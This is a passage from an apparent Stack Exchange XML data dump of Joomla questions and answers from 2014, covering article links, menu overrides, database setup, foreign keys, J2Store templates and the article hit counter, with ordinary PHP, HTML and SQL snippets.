$registry-&amp;gt;loadString($module-&amp;gt;params);&#xA;&#xA;print_r($params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is an external script importing the Joomla 3.x library, and getting the login module object. Everything works perfectly fine.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-09-22T11:09:25.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4533" PostTypeId="2" ParentId="4522" CreationDate="2014-09-22T13:50:13.853" Score="3" Body="&lt;p&gt;Your question is very vague, and parts of it doesn't make sense (&lt;code&gt;add hyperlinked article to menu item and menu module&lt;/code&gt;, for instance). You're mixing the terms &lt;a href=&quot;/questions/tagged/module&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;module&amp;#39;&quot; rel=&quot;tag&quot;&gt;module&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/articles&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;articles&amp;#39;&quot; rel=&quot;tag&quot;&gt;articles&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/url&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;url&amp;#39;&quot; rel=&quot;tag&quot;&gt;url&lt;/a&gt;&lt;a href=&quot;/questions/tagged/menu&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;menu&amp;#39;&quot; rel=&quot;tag&quot;&gt;menu&lt;/a&gt; and others.&lt;/p&gt;&#xA;&lt;p&gt;But as far as I understand, you have one (or more) blocks like the image in your question, and you want to link them to an article with details about the hotel. What you need is the link to the article in question. This can be achieved in several ways. Choose the option that fits your needs:&lt;/p&gt;&#xA;&lt;h2&gt;Get link in editor&lt;/h2&gt;&#xA;&lt;p&gt;In your article editor (I assume you're using TinyMCE), you can create a link to any existing article with the &amp;quot;Article&amp;quot; button below the text window:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NFkkf.jpg&quot; alt=&quot;Article Link&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will insert a direct link to the article, with the article title as the link text. To see the actual link, click the &amp;quot;Source Code&amp;quot; button in the toolbar and copy the link parameter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/psg1q.jpg&quot; alt=&quot;Source code view&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then simply paste the link you copied into an &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag surrounding your block.&lt;/p&gt;&#xA;&lt;h2&gt;Hidden menu&lt;/h2&gt;&#xA;&lt;p&gt;You can also create a new menu (&lt;strong&gt;Menus&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Menu Manager&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Add New Menu&lt;/strong&gt;) and call it whatever you like (&amp;quot;Hidden&amp;quot; is a good idea). The menu will be invisible to users unless you publish it to a module position.&lt;/p&gt;&#xA;&lt;p&gt;Then create a new menu item in this hidden menu for each article you want to link to (for instructions, see the &lt;a href=&quot;http://docs.joomla.org/Help33:Menus_Menu_Item_Article_Single_Article&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; provided by johnny_s). Notice the field &amp;quot;Alias&amp;quot;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nZFju.jpg&quot; alt=&quot;Alias field&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The alias field will be the link to your article. Once you save the menu item, you can link to the article like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://YOURSITE.com/index.php/YOURALIAS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&lt;p&gt;index.php/YOURALIAS&lt;/p&gt;&#xA;&lt;p&gt;Replace &lt;code&gt;YOURALIAS&lt;/code&gt; with the alias of your menu item.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;(Note that this will only work if you enabled &amp;quot;Search Engine Friendly URLs&amp;quot; in Global Configuration)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Create the link manually&lt;/h2&gt;&#xA;&lt;p&gt;You can create the link like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=XX&amp;amp;Itemid=YY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Replace &lt;code&gt;XX&lt;/code&gt; with the article ID (you can find this in the article manager, in the right-most column). The last part (&lt;code&gt;&amp;amp;Itemid=YY&lt;/code&gt;) is optional, but if you replace &lt;code&gt;YY&lt;/code&gt; with the ID of an existing menu item, the page layout (published modules etc.) will match this menu item.&lt;/p&gt;&#xA;&lt;h2&gt;Use JCE&lt;/h2&gt;&#xA;&lt;p&gt;The popular editor JCE (&lt;a href=&quot;http://extensions.joomla.org/extensions/88/details&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Content Editor&lt;/a&gt;) will allow you to create a link to any existing article. Instructions can be found here: &lt;a href=&quot;https://www.joomlacontenteditor.net/support/documentation/25-links/271-interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlacontenteditor.net/support/documentation/25-links/271-interface&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-09-22T13:50:13.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4534" PostTypeId="1" CreationDate="2014-09-22T13:56:38.653" Score="8" ViewCount="1812" Body="&lt;p&gt;I am developing a custom component and want to use a foreign key &lt;code&gt;user_id&lt;/code&gt; referenced to &lt;code&gt;#__users(id)&lt;/code&gt;. I noticed that Joomla doesn't use any foreign key in its core tables for example in &lt;code&gt;#__user_notes&lt;/code&gt; or &lt;code&gt;user_profiles&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume that I want to create an extension for adding comments to articles. The structure of the table is like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `#__comp_comments` (&#xA;    `id` int(10) unsigned NOT NULL AUTO_INCREMENT,&#xA;    `user_id` int(20) unsigned NOT NULL,&#xA;    `comment` text,&#xA;    PRIMARY KEY (`id`)&#xA;    /* PLACEHOLDER */&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I have two options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;, FOREIGN KEY (`user_id`) REFERENCES `#__users`(`id`) ON UPDATE CASCADE ON DELETE CASCADE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;, KEY `idx_userid` (`user_id`)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is your suggestion? Using foreign keys in custom components or not? And why?&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-09-23T09:35:14.613" LastActivityDate="2014-09-23T10:21:19.427" Title="Why doesn't Joomla use foreign keys in the core table structures?" Tags="|joomla-3.x|mysql|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4535" PostTypeId="2" ParentId="4526" CreationDate="2014-09-22T14:04:20.837" Score="2" Body="&lt;p&gt;As others pointed out, the database is required for Joomla to work. XAMPP installs with a MySQL server. As long as both Apache and MySQL are running as services, the database will be created automatically during Joomla installation (just add &quot;root&quot; as database user, and leave the password field empty).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you move your site to a hosting service, I highly recommend using &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-backup.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt;, as it creates a simple file containing both your Joomla files and your database. If you then use &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Kickstart&lt;/a&gt; to restore the backup on your server, you'll be asked to provide the database details again (note that you'll have to create the database manually through the hosting's control panel first, as most hosts don't allow you to create databases &quot;on the fly&quot;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you prefer to upload your Joomla files and database manually, you can change the database settings in the file &lt;code&gt;configuration.php&lt;/code&gt; found in the main directory of Joomla. The fields you should edit are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $host = 'localhost';&#xA;public $user = 'root';&#xA;public $password = '';&#xA;public $db = '';&#xA;&#xA;public $log_path = 'C:\\xampp\\htdocs\\joomla/logs';&#xA;public $tmp_path = 'C:\\xampp\\htdocs\\joomla/tmp';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(the order of the fields may vary). More details can be found &lt;a href=&quot;http://docs.joomla.org/Copying_a_website_from_localhost_to_a_remote_host&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-22T14:04:20.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4536" PostTypeId="2" ParentId="4521" CreationDate="2014-09-22T14:49:26.397" Score="3" Body="&lt;p&gt;You might want to take a look at an extension called &quot;&lt;a href=&quot;http://extensions.joomla.org/extensions/languages/multi-lingual-content/19439&quot; rel=&quot;nofollow&quot;&gt;Easy Language&lt;/a&gt;&quot;. I haven't tried it myself, but according to the description it does exactly what you want (except the tags are a little different). In your case, your article would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{lang ua}bla blah{/lang}&#xA;{lang ru}ololo lorem ipsum{/lang}&#xA;{lang en}hello world!{/lang}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to override the article output, you can create an override:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy the file &lt;code&gt;JOOMLAROOT\components\com_content\views\article\tmpl\default.php&lt;/code&gt; to &lt;code&gt;\templates\YOURTEMPLATE\html\com_content\article\default.php&lt;/code&gt; and edit the file as needed.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-22T14:49:26.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4537" PostTypeId="1" CreationDate="2014-09-22T15:07:47.580" Score="7" ViewCount="1140" Body="&lt;p&gt;I have just installed Joomla 3.3.&#xA;I'd like to have the chance to avoid incrementing the visitor counter while I visits my own pages. Is it possible at least when I'm logged in?&lt;/p&gt;&#xA;" OwnerUserId="1933" LastActivityDate="2014-09-25T00:37:36.837" Title="Avoid counting my own visits on the pages" Tags="|joomla-3.x|joomla-3.3.x|statistics|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4538" PostTypeId="1" CreationDate="2014-09-22T16:05:33.950" Score="0" ViewCount="899" Body="&lt;p&gt;I'm using J2Store and would like to display a &quot;quantity input&quot; and an &quot;add to cart button&quot; for each product option so that I can get rid of the radio button completely. This way, clicking the add to cart button will indicate that that product option is selected, instead of clicking a radio button and then the add to cart button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I have the elements added to each option line, but they aren't functioning properly. If I input a quantity other than &quot;1&quot; it still only adds one item to the cart. Attached is a screenshot of what I have so far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per @Lodder 's request, here is the relevant code from my addtocart_option.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($option['type'] == 'radio') { ?&amp;gt;&#xA;            &amp;lt;div id=&quot;option-&amp;lt;?php echo $option['product_option_id']; ?&amp;gt;&quot; class=&quot;option&quot;&amp;gt;&#xA;                &amp;lt;?php if ($option['required']) { ?&amp;gt;&#xA;                    &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;                &amp;lt;b&amp;gt;&amp;lt;?php echo $option['option_name']; ?&amp;gt;:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&#xA;                &amp;lt;?php foreach ($option['optionvalue'] as $option_value) { ?&amp;gt; &amp;lt;!--loop through product options--&amp;gt;&#xA;                    &amp;lt;div class=&quot;option-line&quot;&amp;gt;&amp;lt;!--HEYOOO! HERE'S YOUR PRODUCT OPTION LINE!--&amp;gt;&#xA;                        &amp;lt;label for=&quot;option-value-&amp;lt;?php echo $option_value['product_optionvalue_id']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $option_value['optionvalue_name']; ?&amp;gt;&#xA;                        &amp;lt;!--TAX STUFF, DON'T TOUCH!--&amp;gt;&#xA;                        &amp;lt;?php if ($option_value['product_optionvalue_price'] &amp;gt; 0) { ?&amp;gt;&#xA;                            &amp;lt;?php $tax = $this-&amp;gt;tax_class-&amp;gt;getProductTax($option_value['product_optionvalue_price'], $this-&amp;gt;item-&amp;gt;product_id); ?&amp;gt;&#xA;                            &amp;lt;?php  echo J2StoreHelperCart::dispayPriceWithTax($option_value['product_optionvalue_price'], $tax, $this-&amp;gt;params-&amp;gt;get('price_display_options', 1)); ?&amp;gt;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;                        &amp;lt;!--/TAX STUFF--&amp;gt;&#xA;                        &amp;lt;/label&amp;gt;&#xA;&#xA;                        &amp;lt;input &amp;lt;?php echo $checked; ?&amp;gt; &#xA;                        type=&quot;radio&quot; &#xA;                        name=&quot;product_option[&amp;lt;?php echo $option['product_option_id']; ?&amp;gt;]&quot; &#xA;                        value=&quot;&amp;lt;?php echo $option_value['product_optionvalue_id']; ?&amp;gt;&quot; &#xA;                        id=&quot;option-value-&amp;lt;?php echo $option_value['product_optionvalue_id']; ?&amp;gt;&quot; &#xA;                        /&amp;gt;&#xA;                        &amp;lt;!--QUANTITY INPUT FOR OPTION--&amp;gt;&#xA;                        &amp;lt;div id='product_quantity_input_&amp;lt;?php echo $item-&amp;gt;product_id; ?&amp;gt;' class=&quot;product_quantity_input&quot;&amp;gt;&#xA;&#xA;                            &amp;lt;input &#xA;                            type=&quot;text&quot; &#xA;                            name=&quot;product_qty&quot; &#xA;                            value=&quot;&amp;lt;?php echo $item-&amp;gt;product_quantity; ?&amp;gt;&quot; &#xA;                            size=&quot;3&quot; &#xA;                            /&amp;gt;&#xA;                            &amp;lt;?php if(isset($item-&amp;gt;item_minimum_notice)):?&amp;gt;&#xA;                                &amp;lt;br /&amp;gt;&#xA;                                &amp;lt;small class=&quot;j2store-minmum-quantity muted&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;item_minimum_notice; ?&amp;gt;&amp;lt;/small&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&amp;lt;!--/&quot;product_quantity_input&quot;--&amp;gt;&#xA;&#xA;                        &amp;lt;!--ADD TO CART BUTTON FOR OPTION VALUE--&amp;gt;&#xA;                        &amp;lt;div id='add_to_cart_&amp;lt;?php echo $item-&amp;gt;product_id; ?&amp;gt;' class=&quot;j2store_add_to_cart&quot; style=&quot;display: block;&quot;&amp;gt;&#xA;                            &amp;lt;input &#xA;                            type=&quot;hidden&quot; &#xA;                            id=&quot;j2store_product_id&quot; &#xA;                            name=&quot;product_id&quot; &#xA;                            value=&quot;&amp;lt;?php echo $option_value['product_optionvalue_id']; ?&amp;gt;&quot; &#xA;                            /&amp;gt;&#xA;                            &amp;lt;?php echo JHTML::_( 'form.token' ); ?&amp;gt;&#xA;&#xA;                            &amp;lt;input &#xA;                            type=&quot;hidden&quot; &#xA;                            name=&quot;return&quot; &#xA;                            value=&quot;&amp;lt;?php echo base64_encode( JUri::getInstance()-&amp;gt;toString() ); ?&amp;gt;&quot; &#xA;                            /&amp;gt;&#xA;&#xA;                            &amp;lt;input &#xA;                            type=&quot;submit&quot; &#xA;                            name=&quot;product_option[&amp;lt;?php echo $option['product_option_id']; ?&amp;gt;]&quot;&#xA;                            value=&quot;+&quot; &#xA;                            class=&quot;j2store_cart_button btn btn-primary&quot; &#xA;                            id=&quot;option-value-&amp;lt;?php echo $option_value['product_optionvalue_id']; ?&amp;gt;&quot; &#xA;                            /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&amp;lt;!--/&quot;add_to_cart&quot;--&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!--/&quot;option-line&quot;--&amp;gt;&#xA;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!--/&quot;option&quot;--&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help or suggestions would be most appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nKhM4.png&quot; alt=&quot;product screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1893" LastEditorUserId="1893" LastEditDate="2014-09-22T16:29:33.023" LastActivityDate="2014-09-22T16:29:33.023" Title="J2Store add quantity input and add to cart button for each product option" Tags="|joomla-3.x|extensions|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4539" PostTypeId="2" ParentId="4522" CreationDate="2014-09-22T16:39:51.777" Score="3" Body="&lt;p&gt;From what I understand of your question, you want to call content into your menu output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is absolutely possible, but it requires a bit of skill and understanding of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of making your content an article, make your content in a module. Then you call that module into your menu item using a mega menu (such as &lt;a href=&quot;http://www.joomlack.fr/en/joomla-extensions/maximenu-ck&quot; rel=&quot;nofollow&quot;&gt;CKMaximenu&lt;/a&gt;) and its paid plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or utilize &lt;a href=&quot;http://nonumber.nl&quot; rel=&quot;nofollow&quot;&gt;NoNumber&lt;/a&gt;, a combination of rereplacer, modules anywhere, or sourcerer would do it. &lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-09-22T16:39:51.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4540" PostTypeId="2" ParentId="4512" CreationDate="2014-09-22T17:05:48.187" Score="4" Body="&lt;p&gt;Here's one alternative to load the search module in your menu. It requires a couple of simple steps:&lt;/p&gt;&#xA;&lt;h2&gt;1. Override your &lt;code&gt;mod_menu&lt;/code&gt; module&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create an override in your templates folder &lt;code&gt;\templates\YOURTEMPLATE\html\mod_menu\default_url.php&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Copy the following contents to the file:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;em&gt;default_url.php&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA; /**&#xA; * @package     Joomla.Site&#xA; * @subpackage  mod_menu&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights   reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Note. It is important to remove spaces between elements.&#xA;$class = $item-&amp;gt;anchor_css ? 'class=&amp;quot;' . $item-&amp;gt;anchor_css . '&amp;quot; ' : '';&#xA;$title = $item-&amp;gt;anchor_title ? 'title=&amp;quot;' . $item-&amp;gt;anchor_title . '&amp;quot; ' : '';&#xA;&#xA;if ($item-&amp;gt;menu_image)&#xA;    {&#xA;        $item-&amp;gt;params-&amp;gt;get('menu_text', 1) ?&#xA;        $linktype = '&amp;lt;img src=&amp;quot;' . $item-&amp;gt;menu_image . '&amp;quot; alt=&amp;quot;' . $item-&amp;gt;title . '&amp;quot;   /&amp;gt;&amp;lt;span class=&amp;quot;image-title&amp;quot;&amp;gt;' . $item-&amp;gt;title . '&amp;lt;/span&amp;gt; ' :&#xA;        $linktype = '&amp;lt;img src=&amp;quot;' . $item-&amp;gt;menu_image . '&amp;quot; alt=&amp;quot;' . $item-&amp;gt;title . '&amp;quot;  /&amp;gt;';&#xA; }&#xA; else&#xA; {&#xA;    $linktype = $item-&amp;gt;title;&#xA; }&#xA;  &#xA; $flink = $item-&amp;gt;flink;&#xA;$flink = JFilterOutput::ampReplace(htmlspecialchars($flink));&#xA;if ($linktype == &amp;quot;CustomSearchBox&amp;quot;){&#xA;    $document   = &amp;amp;JFactory::getDocument();&#xA;    $renderer   = $document-&amp;gt;loadRenderer('modules');&#xA;    $options    = array('style' =&amp;gt; 'xhtml');&#xA;    $position   = 'CustomSearchBox';&#xA;    echo $renderer-&amp;gt;render($position, $options, null);&#xA;}&#xA;else {&#xA;&#xA;switch ($item-&amp;gt;browserNav) :&#xA;    default:&#xA;    case 0:&#xA;?&amp;gt;&amp;lt;a &amp;lt;?php echo $class; ?&amp;gt;href=&amp;quot;&amp;lt;?php echo $flink; ?&amp;gt;&amp;quot; &amp;lt;?php echo $title; ?&amp;gt;&amp;gt;&amp;lt;?php echo $linktype; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php&#xA;        break;&#xA;    case 1:&#xA;        // _blank&#xA;?&amp;gt;&amp;lt;a &amp;lt;?php echo $class; ?&amp;gt;href=&amp;quot;&amp;lt;?php echo $flink; ?&amp;gt;&amp;quot; target=&amp;quot;_blank&amp;quot; &amp;lt;?php echo $title; ?&amp;gt;&amp;gt;&amp;lt;?php echo $linktype; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php&#xA;        break;&#xA;    case 2:&#xA;        // window.open&#xA;        $options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,'.$params-&amp;gt;get('window_open');&#xA;            ?&amp;gt;&amp;lt;a &amp;lt;?php echo $class; ?&amp;gt;href=&amp;quot;&amp;lt;?php echo $flink; ?&amp;gt;&amp;quot; onclick=&amp;quot;window.open(this.href,'targetWindow','&amp;lt;?php echo $options;?&amp;gt;');return false;&amp;quot; &amp;lt;?php echo $title; ?&amp;gt;&amp;gt;&amp;lt;?php echo $linktype; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php&#xA;        break;&#xA;endswitch;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have added an &lt;code&gt;if-else&lt;/code&gt; statement starting at line #29, that checks if the menu item title is &amp;quot;CustomSearchBox&amp;quot;. If that's the case, the module position &amp;quot;CustomSearchBox&amp;quot; is loaded. If not, the normal menu item is returned. You can change &amp;quot;CustomSearchBox&amp;quot; to anything you like, but if you do remember to use the same value in the following steps.&lt;/p&gt;&#xA;&lt;h2&gt;2. Create a new search module&lt;/h2&gt;&#xA;&lt;p&gt;Create the search module and set the parameters as needed (I suggest to hide module title).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Publish the module to the custom position &amp;quot;CustomSearchBox&amp;quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h2&gt;3. Create a new menu item&lt;/h2&gt;&#xA;&lt;p&gt;The menu item can be any type, I suggest &amp;quot;External URL&amp;quot;, and the name MUST be &amp;quot;CustomSearchBox&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Save your menu item, and the entire menu item will be replaced with the search box!&lt;/p&gt;&#xA;&lt;p&gt;Let me know if something is unclear.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-09-22T17:05:48.187" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4541" PostTypeId="2" ParentId="4534" CreationDate="2014-09-22T18:37:01.157" Score="5" Body="&lt;p&gt;Joomla of course uses foreign keys to reference primary keys in other tables. That's a basic concept in databases and it wouldn't work otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you mean is something different. You're talking about binding them together so they keep the integrity on a database level. Eg if a row in the primary table is deleted, the &quot;child&quot; tables gets their rows deleted as well automatically, or you can only delete the primary if all childs are deleted first. That depends a bit on how it's set up. This is called &quot;referential integrity&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla, we don't use the referential integrity. We instead keep our data sane on an application level. Various plugin events lets you catch a delete or changed state or whatever and act accordingly.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-09-22T18:37:01.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4542" PostTypeId="2" ParentId="4537" CreationDate="2014-09-22T19:25:27.877" Score="2" Body="&lt;p&gt;Assuming you are talking about Joomla's built in hit counter, the answer as far as I have seen is &quot;no&quot;. The code that runs this is super simple and offers no real means to adapt this in the CMS. (The code won't even increment the hit counter if you enable caching...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What currently happens in the article's &lt;code&gt;view.html.php&lt;/code&gt; file is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Increment the hit counter of the article.&#xA;if (!$this-&amp;gt;params-&amp;gt;get('intro_only') &amp;amp;&amp;amp; $offset == 0)&#xA;{&#xA;    $model = $this-&amp;gt;getModel();&#xA;    $model-&amp;gt;hit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basic check to make sure that this is the start of loading the full article. If so, trigger the model to record a hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model does this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function hit($pk = 0)&#xA;{&#xA;    $input = JFactory::getApplication()-&amp;gt;input;&#xA;    $hitcount = $input-&amp;gt;getInt('hitcount', 1);&#xA;&#xA;    if ($hitcount)&#xA;    {&#xA;        $pk = (!empty($pk)) ? $pk : (int) $this-&amp;gt;getState('article.id');&#xA;        $db = $this-&amp;gt;getDbo();&#xA;&#xA;        $db-&amp;gt;setQuery(&#xA;&#xA;            'UPDATE #__content' .&#xA;                ' SET hits = hits + 1' .&#xA;                ' WHERE id = ' . (int) $pk&#xA;        );&#xA;&#xA;        try&#xA;        {&#xA;            $db-&amp;gt;execute();&#xA;        }&#xA;        catch (RuntimeException $e)&#xA;        {&#xA;            $this-&amp;gt;setError($e-&amp;gt;getMessage());&#xA;            return false;&#xA;        }&#xA;    }&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, increment the hit column on the article.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to adjust the behavior of this currently, your only choice is to edit the core code (and have the inherent issues with that when you try to update).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't any way to &quot;intercept&quot; this action and trigger a plugin to perform an alternate action. The best bet is to ignore the hit column on articles and use a better measure of how many views your articles are getting (with Google Analytics probably being the most popular choice).&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-09-22T19:25:27.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4543" PostTypeId="2" ParentId="4521" CreationDate="2014-09-22T19:35:56.177" Score="2" Body="&lt;p&gt;Thanks, johanpw!&lt;br&gt;&#xA;Next code solved my task:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$lang = substr($_SERVER['REQUEST_URI'],1,2); &#xA;echo substr($this-&amp;gt;item-&amp;gt;text, strpos($this-&amp;gt;item-&amp;gt;text,'{'.$lang.'}')+4, strpos($this-&amp;gt;item-&amp;gt;text,'{/'.$lang.'}') - strpos($this-&amp;gt;item-&amp;gt;text,'{'.$lang.'}')-4);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...instead of:&lt;br&gt;&#xA;&lt;code&gt;echo $this-&amp;gt;item-&amp;gt;text;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I promise that I'll try to make some plugins in future.&lt;/p&gt;&#xA;" OwnerUserId="1930" LastEditorUserId="1930" LastEditDate="2014-09-22T19:47:30.090" LastActivityDate="2014-09-22T19:47:30.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4545" PostTypeId="1" CreationDate="2014-09-23T01:52:46.683" Score="4" ViewCount="813" Body="&lt;p&gt;I have an input form in the admin view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;upload&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; name=&quot;file_upload&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Upload Image&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_newsshowcase&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;upload&quot; /&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_( 'form.token' ); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This form calls the function upload() in the controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function upload()&#xA;{&#xA;    // Check for request forgeries&#xA;    JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN'));&#xA;    $app = JFactory::getApplication()-&amp;gt;input;&#xA;  